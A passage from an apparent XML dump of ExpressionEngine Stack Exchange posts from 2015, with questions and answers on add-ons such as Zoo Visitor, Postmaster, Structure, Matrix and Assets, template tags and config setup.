to sort ENTRIES by order and then display the single COVER IMAGE for that entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='XYZ' dynamic='yes' orderby='9|1|4|2' category='###'}&#xA;    {exp:channel_images:images entry_id='{entry_id}' cover_only='yes'}&#xA;        &amp;lt;img src='{image:url}' /&amp;gt;&#xA;    {/exp:channel_images:images}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-18T02:46:36.143" LastActivityDate="2015-02-18T02:46:36.143" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29024" PostTypeId="2" ParentId="26663" CreationDate="2015-02-16T09:39:35.760" Score="0" Body="&lt;p&gt;This is something the WYSIWYG editor should solve. You could for instance wrap them in a div (which by default has no css styling and margins etc.). The WYSIWYG usually has a formatting or block-level select menu for changing and/or setting the element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems DevDemon-editor is based on redactor, Wygwam is based on CKeditor&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2015-02-16T09:39:35.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29025" PostTypeId="2" ParentId="28985" CreationDate="2015-02-16T10:53:51.253" Score="5" Body="&lt;p&gt;Okay, this definitely is an Assets issue, but here's a temporary fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up ft.assets.php and look up the &lt;code&gt;grid_replace_tag&lt;/code&gt; method, around line 1771. In there, you can see this line of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_name = ee()-&amp;gt;db-&amp;gt;select('field_name')-&amp;gt;from('channel_fields')-&amp;gt;where(array('field_id' =&amp;gt; $this-&amp;gt;field_id))-&amp;gt;get()-&amp;gt;row('field_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below that, add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! $field_name)&#xA;{&#xA;    $field_name = ee()-&amp;gt;db-&amp;gt;select('variable_name')-&amp;gt;from('global_variables')-&amp;gt;where('variable_id', $this-&amp;gt;field_id)-&amp;gt;get()-&amp;gt;row('variable_name');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which should fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-16T10:53:51.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29026" PostTypeId="2" ParentId="28979" CreationDate="2015-02-16T11:13:16.253" Score="0" Body="&lt;p&gt;Basically there is no way to do this without altering the countries array and probably breaking other areas of the add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my requirements I just changed my fieldtype to a standard select list and threw in a list of countries (generated from the array used in this add-on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add this isn't really a shortcoming of the add-on as in order to list them alphabetically (in English) the country names would need to be in the native language of that country (bearing in mind some countries have more than one official language). The requirement itself is fundamentally flawed.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-16T11:13:16.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29027" PostTypeId="1" CreationDate="2015-02-16T12:36:26.587" Score="1" ViewCount="114" Body="&lt;p&gt;I have a client who is requesting a member portal. The concept  is to have two parts to this portal. Part one is from the Employer side. Employer logs-in  to access Employees resumes and information and can search by keyword or industry. Part Two is from the employee side. The employee logs-in and can update their information, add keywords, upload a photo and resume and have access to restricted content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not too familiar with member management in EE so my questions are this: &#xA;1. Are there any plugins that could make this project run smoother such as User?&#xA;2. Is it possible to have a way that an employer can view the details of an employee, and download that data to a file? Would that require a plugin? &#xA;3. Is there an advance search that I would need for this type of project? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks &#xA;jeff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is an update&lt;/strong&gt;&#xA;I now have the docs to begin and I want to make sure these are the right plugins to use on this project. I am think of using Zoo Visitor, Safe Cracker, Super Search and Grid Field. The idea behind the project is that there are two types of members, employers who want access to employees and employees who want access to employers. Both need to be able to update info and search for each other and both login to the site.&lt;/p&gt;&#xA;" OwnerUserId="3427" LastEditorUserId="3427" LastEditDate="2015-03-03T15:12:32.767" LastActivityDate="2015-06-01T20:30:06.733" Title="Member Portals for Employees" Tags="|categories|members|plugin|member-management|export|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29028" PostTypeId="2" ParentId="18178" CreationDate="2015-02-16T13:19:58.407" Score="0" Body="&lt;p&gt;The console log message &lt;code&gt;SyntaxError: Unexpected token &quot;&amp;lt;&quot;&lt;/code&gt; may be caused by a missing javascript file, intercepted by some 404 or HTACCESS rule. So, ...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is the &lt;code&gt;themes&lt;/code&gt; folder for Matrix MultiUpload there, in &lt;code&gt;/themes/third_party/matrix_multi_upload&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Is it accessible over HTTP?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="399" LastActivityDate="2015-02-16T13:19:58.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29029" PostTypeId="2" ParentId="29027" CreationDate="2015-02-16T13:37:39.943" Score="1" Body="&lt;p&gt;Have built a few things like this in EE. Look at Zoo Visitor for the member registration and something like Low Search for the search side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more than a few ways to go about it. Have a look on Devot-EE for more addons that could help your build.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-02-16T13:37:39.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29030" PostTypeId="2" ParentId="29027" CreationDate="2015-02-16T14:43:04.620" Score="0" Body="&lt;p&gt;Another add-on to consider for profiles management is Profile:Edit. And of course, Freemember.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-16T14:43:04.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29032" PostTypeId="1" AcceptedAnswerId="29035" CreationDate="2015-02-16T20:17:47.403" Score="2" ViewCount="281" Body="&lt;p&gt;My site lives at something like &lt;a href=&quot;http://example.com/subdomain/ee&quot; rel=&quot;nofollow&quot;&gt;http://example.com/subdomain/ee&lt;/a&gt;. Visiting that site root displays the home page just like I want it to. However, I'm using Structure to output a main navigation like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:structure:nav&#xA;   css_class=&quot;nav-main&quot;&#xA;   current_class=&quot;active&quot;&#xA;   max_depth=&quot;1&quot;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works great for the most part, except I have a Home link in the main navigation that is the home page, and it's only getting the &quot;active&quot; class if I'm //example.com/subdomain/ee/home, not if I'm at //example.com/subdomain/ee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm relatively new to EE, so I suspect there may be a simple way to fix this. Is there a good way to still use structure to output the primary navigation and have it apply the active class to the &quot;Home&quot; link when on the site root? Is there a better way to approach this than what I'm doing?&lt;/p&gt;&#xA;" OwnerUserId="5050" LastActivityDate="2015-02-16T21:44:11.437" Title="How to redirect home page to /home in order for structure navigation to work as expected?" Tags="|structure|navigation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29033" PostTypeId="1" CreationDate="2015-02-16T20:50:04.533" Score="1" ViewCount="92" Body="&lt;p&gt;I'm having a problem similar to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3558/long-open-save-for-entries-with-10-column-matrix-fields&quot;&gt;this one&lt;/a&gt; where I can't save large matrix fields on my site. Large, in this case, is &gt; 200 rows with 3 fields each where 2 of those are asset fields. EE/Matrix/Assets/Fieldpack are all up-to-date and I've increased max_input_vars to 1500, max_execution_time to 600 and memory_limit to 256; still no luck. I just get a blank screen, no error message, no error in logfile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I just stop trying to use matrix for this and adopt a different design, or should this work?&lt;/p&gt;&#xA;" OwnerUserId="5051" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-17T06:35:02.513" Title="Can't save large matrix field" Tags="|matrix|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29034" PostTypeId="2" ParentId="29027" CreationDate="2015-02-16T21:42:56.927" Score="2" Body="&lt;p&gt;think you're very lucky :) check this new post by Sean Smith on how he built a resume builder &lt;a href=&quot;http://caffeinecreations.ca/blog/channel-form-and-grid-matrix-fields&quot; rel=&quot;nofollow&quot;&gt;&#xA;Channel Form and Grid/Matrix fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2015-02-16T21:42:56.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29035" PostTypeId="2" ParentId="29032" CreationDate="2015-02-16T21:44:11.437" Score="5" Body="&lt;p&gt;To make this work, in the entry for Home under the structure tab, set the Structure Page URL to &quot;/&quot;&lt;/p&gt;&#xA;" OwnerUserId="2283" LastActivityDate="2015-02-16T21:44:11.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29036" PostTypeId="1" CreationDate="2015-02-16T22:29:45.820" Score="0" ViewCount="38" Body="&lt;p&gt;I'm outputting modifiers as radio field but how could I target the first modifier so that it is checked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifier_options}&#xA;    &amp;lt;div class=&quot;large-6 columns&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;{modifier_input_name}&quot; checked=&quot;checked&quot; value=&quot;{option_id}&quot;/&amp;gt; {option_name} {if price_mod_val} ({price_mod}) {/if}&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/modifier_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This selects the last modifier but would like it to be the first.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-06-17T02:36:55.213" Title="Checked first modifier" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29037" PostTypeId="2" ParentId="29036" CreationDate="2015-02-16T22:40:27.597" Score="1" Body="&lt;p&gt;There is an option already for this in the docs:&#xA;&lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#if_option_first&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/product_tag.html#if_option_first&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought I'd post the answer anyway.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifier_options}&#xA;    &amp;lt;div class=&quot;large-6 columns&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;{modifier_input_name}&quot; {if option_first}checked=&quot;checked&quot;{/if} value=&quot;{option_id}&quot;/&amp;gt; {option_name} {if price_mod_val} ({price_mod}) {/if}&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/modifier_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastEditorUserId="115" LastEditDate="2015-02-16T22:51:03.993" LastActivityDate="2015-02-16T22:51:03.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29038" PostTypeId="1" AcceptedAnswerId="29039" CreationDate="2015-02-16T23:45:43.483" Score="0" ViewCount="129" Body="&lt;p&gt;I'm using Zoo Visitor to register members and I've set up Postmaster to email based on a checkbox group (using extra conditionals in Postmaster). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster sends the email fine, but it uses Zoo Visitor's default email address instead of the one the user put in during registration. This is using a parcel, and the email code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello! This new member is interested in joining the Marketing Committee. Here is their contact info:&#xA;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;strong&amp;gt;Name:&amp;lt;/strong&amp;gt; {parcel:member_firstname} {parcel:member_lastname}&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;strong&amp;gt;Email:&amp;lt;/strong&amp;gt; {member:email}&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {parcel:member_phone}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{member:email}&lt;/code&gt; ends up getting parsed like so: &lt;code&gt;zoo_visitor@yourdomain.tld&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read in a couple of threads over at Devot:ee that using the installed Zoo Visitor Hook in Postmaster would solve this. It does, but then I can't get the custom fields to output properly. The code for that is like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello! This new member is interested in joining the Marketing Committee. Here is their contact info:&#xA;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;strong&amp;gt;Name:&amp;lt;/strong&amp;gt; {member:member_firstname} {member_firstname}&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;strong&amp;gt;Email:&amp;lt;/strong&amp;gt; {member:email}&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {member_phone}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{member:email}&lt;/code&gt; outputs properly, but the other tags don't, and I'm not sure what the proper syntax is for those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to output all the info in the Zoo Visitor channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2015-02-17T01:56:34.980" Title="Postmaster + Zoo Visitor + custom fields" Tags="|zoo-visitor|postmaster|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29039" PostTypeId="2" ParentId="29038" CreationDate="2015-02-17T00:11:46.637" Score="0" Body="&lt;p&gt;Angie,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need the Zoo Visitor Register End Hook in Postmaster's settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this post a bit related &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1907/variables-example-for-sending-a-new-member-their-login-details-using-postmaster&quot;&gt;Variables/example for sending a new member their login details using Postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-17T01:56:34.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29040" PostTypeId="2" ParentId="28935" CreationDate="2015-02-17T03:35:50.287" Score="0" Body="&lt;p&gt;If both of these are discounts, then you should be able to check the option to disable all further discounts. Do you have this checked to prevent doubling up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O4kFr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-02-17T03:35:50.287" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29041" PostTypeId="1" CreationDate="2015-02-17T05:09:56.073" Score="1" ViewCount="373" Body="&lt;p&gt;I am trying to create a notification email in Postmaster to trigger on submission of a Zoo Visitor member registration form. The registration form includes a set of checkboxes for registrants to notify availability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a &lt;strong&gt;Parcel&lt;/strong&gt; in Postmaster as follows it will spit out all of the data but only on &lt;strong&gt;Edit/Update&lt;/strong&gt; - not registration (new entry).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Performer Expression of Interest Application&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;Date: {parcel:entry_date format=&quot;%d-%m-%Y&quot;}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;{parcel:artist_group_name}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;{member:screen_name}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Email: {member:email}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{parcel:street_address}, {parcel:address_line_2}&amp;lt;br /&amp;gt;{parcel:city} {parcel:postcode} {parcel:state}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Phone: {parcel:contact_phone}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Availability: {parcel:m_availability}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Website: {parcel:website_url}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Facebook: {parcel:facebook_profile_url}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Twitter: {parcel:twitter_profile_url}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;YouTube: {parcel:youtube_channel_url}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;Bio / Description&amp;lt;/h3&amp;gt;&#xA;{parcel:biography_act_description}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried this with and without email self-activation turned on. I've tried this with all statuses and member groups ticked.   &lt;em&gt;Note that in this example, the Availability field outputs the correct data.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried using the Zoo Visitor Register End &lt;strong&gt;Hook&lt;/strong&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Performer Expression of Interest Application&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;Date: {hook:entry_date format=&quot;%d-%m-%Y&quot;}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;{hook:artist_group_name}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;{member:screen_name}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Email: {member:email}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{hook:street_address}, {hook:address_line_2}&amp;lt;br /&amp;gt;{hook:city} {hook:postcode} {hook:state}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Phone: {hook:contact_phone}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Availability: {hook:m_availability}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Website: {hook:website_url}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Facebook: {hook:facebook_profile_url}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Twitter: {hook:twitter_profile_url}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;YouTube: {hook:youtube_channel_url}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;Bio / Description&amp;lt;/h3&amp;gt;&#xA;{hook:biography_act_description}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I get a PHP error on form submission. The email notification arrives but with the Availability field just outputting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Availability: Array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{hook:m_availability}{options}{/hook:m_availability}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{hook:m_availability}{option_value}{/hook:m_availability}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I guess there's an issue with parsing arrays like checkboxes etc when using the ZV hook - or I'm simply doing it wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems I cant win either way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can point me in the direction of either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Getting Parcel to send notification on register&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Outputting the Availability data when using a Hook&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2022-10-23T09:02:50.373" Title="How to notify on register with Zoo Visitor &amp; Postmaster" Tags="|zoo-visitor|postmaster|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29042" PostTypeId="1" CreationDate="2015-02-17T05:49:54.727" Score="1" ViewCount="107" Body="&lt;p&gt;I'm developing a multi-language site and wish to use the site root level ISO language code folder structure method. But it's not working – I get a blank page when visiting site.com/en/ or site.com/it/. I reckon that my 'fairly intense' consolidated config.php file is not playing ball. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In each of the site root level language code directories I've added the relative language's custom index.php with the usual parameters, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../../sys';&#xA;&#xA;$assign_to_config['global_vars'] = array(&#xA;    &quot;country_code&quot; =&amp;gt; &quot;en&quot;, &#xA;    &quot;language&quot; =&amp;gt; &quot;English&quot;&#xA;);&#xA;$assign_to_config['site_url'] = getenv('HTTP_HOST') . &quot;/en/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, my system folder is above the webroot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 'intense' config file instead relies on an initial set of &lt;code&gt;$base_path&lt;/code&gt; and &lt;code&gt;$base_url&lt;/code&gt; environment agnostic statements that then get reused throughout the config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$protocol               = (isset($_SERVER[&quot;HTTPS&quot;]) &amp;amp;&amp;amp; $_SERVER[&quot;HTTPS&quot;] == &quot;on&quot;) ? &quot;https://&quot; : &quot;http://&quot;;&#xA;$base_url               = $protocol . $_SERVER['HTTP_HOST'];&#xA;$base_path              = $_SERVER['DOCUMENT_ROOT'];&#xA;$system_folder          = &quot;sys&quot;;&#xA;$uploads_folder         = &quot;images/uploads&quot;;&#xA;$uploads_path           = $base_path . &quot;/&quot; . $uploads_folder;&#xA;$uploads_url            = $base_url . &quot;/&quot; . $uploads_folder;&#xA;$images_folder          = &quot;images&quot;;&#xA;$images_path            = $base_path . &quot;/&quot; . $images_folder;&#xA;$images_url             = $base_url . &quot;/&quot; . $images_folder;&#xA;...&#xA;$config['base_url']     = $base_url . &quot;/&quot;;&#xA;$config['base_path']    = $base_path . &quot;/&quot;;&#xA;$config['index_page']   = &quot;&quot;;&#xA;$config['site_index']   = &quot;&quot;;&#xA;$config['site_url']     = $config['base_url'];&#xA;$config['site_path']    = $config['base_path'];&#xA;$config['server_path']  = $_SERVER['DOCUMENT_ROOT'];&#xA;... and so forth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wherever a base_path or base_url is required by a config setting I simply call on &lt;code&gt;$config['base_path']&lt;/code&gt; and &lt;code&gt;$config['base_url']&lt;/code&gt; in the setting's declaration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I go about assigning the ['global_vars'] set in /en/index.php to my config file? Clearly, I think, the initial two &lt;code&gt;$base_url&lt;/code&gt; and &lt;code&gt;$base_path&lt;/code&gt; need to wake up that there's an extra /en/ or /it/ segment to deal with in the whole equation.&lt;/p&gt;&#xA;" OwnerUserId="658" LastEditorUserId="658" LastEditDate="2015-02-17T07:06:09.843" LastActivityDate="2015-02-17T07:06:09.843" Title="Multiple language setup with consolidated config file" Tags="|config|multi-language|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29043" PostTypeId="2" ParentId="29033" CreationDate="2015-02-17T05:49:57.003" Score="0" Body="&lt;p&gt;Have you tried with more memory or higher max_execution_time? I'm running 1024M. Also max_input_time:60&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I had problems with that on one site I had the max_execution_time lifted to 12000 &amp;amp; its fine but I've never used that many Matrix rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you &lt;em&gt;should&lt;/em&gt; be able to get this working but may need to have the available server resources cranked up.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2015-02-17T05:49:57.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29044" PostTypeId="2" ParentId="29033" CreationDate="2015-02-17T06:35:02.513" Score="2" Body="&lt;p&gt;1) read server logs&#xA;2) turn debugging on in index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should help you understand better where the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have lots of issues like that and Usually it is a matter of server configuration but you must start reading and identifying the error from logs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bye!&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2015-02-17T06:35:02.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29045" PostTypeId="1" CreationDate="2015-02-17T07:00:21.323" Score="0" ViewCount="180" Body="&lt;p&gt;Is there any option where the .ics files gets downloaded on a click at the front-end for the selected event?  &lt;/p&gt;&#xA;" OwnerUserId="1648" LastActivityDate="2015-12-16T11:03:53.780" Title="How can I download ICS file for an event?" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29046" PostTypeId="1" AcceptedAnswerId="30463" CreationDate="2015-02-17T09:37:27.187" Score="0" ViewCount="57" Body="&lt;p&gt;I have a site using EE 2.5.2, they have a count of the total members of the site on the homepage using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{member_total}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The site has recently gone over 10,000 members and the counter has gone back to 0 and started counting up from 0 again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct in assuming there's a limit of 9999 members that the tag can process and is there a way around this?&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-03-10T17:15:26.237" Title="Total members limit?" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29047" PostTypeId="2" ParentId="29045" CreationDate="2015-02-17T10:35:44.540" Score="1" Body="&lt;p&gt;You can download an .ics file using the &lt;code&gt;{exp:calendar:icalendar}&lt;/code&gt; tag: &lt;a href=&quot;http://www.solspace.com/docs/calendar/icalendar/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/icalendar/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Calendar:iCalendar tag is available for event exporting purposes. It outputs an ICS (RFC-2445) compatible file, which can then be imported into other programs such as Google Calendar, Apple Calendar, Microsoft Outlook, Lightning, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Putting this tag on a template will trigger a file download of an .ics file with your calendar data.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-02-17T10:35:44.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29048" PostTypeId="1" AcceptedAnswerId="30054" CreationDate="2015-02-17T11:29:40.820" Score="1" ViewCount="316" Body="&lt;p&gt;Is it possible to create an {if} statement based on the character length of a channel field? Something along the lines of this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I have the channel field - &lt;code&gt;{title}&lt;/code&gt; and I want to add a class to the parent &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; if the character length of the title is larger than 10. Something along these lines...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{title_length}&quot; &amp;gt;= &quot;10&quot;}&#xA;    &amp;lt;div class=&quot;wide&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;div&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this with EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is clear. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ryan&lt;/p&gt;&#xA;" OwnerUserId="5053" LastActivityDate="2015-02-17T17:29:04.083" Title="If statement based on length of Channel Field" Tags="|conditionals|ifelse|parameters|channel-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30048" PostTypeId="1" CreationDate="2015-02-17T14:30:01.867" Score="0" ViewCount="75" Body="&lt;p&gt;I have a client who has their organization's membership info in a Filemaker database. Can anyone provide guidance as to how I can bring that database into EE? Ideally, I'd like to move the membership database functions out of Filemaker entirely and into EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2015-02-17T15:15:11.177" Title="How can I import a Filemaker database into EE?" Tags="|database|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
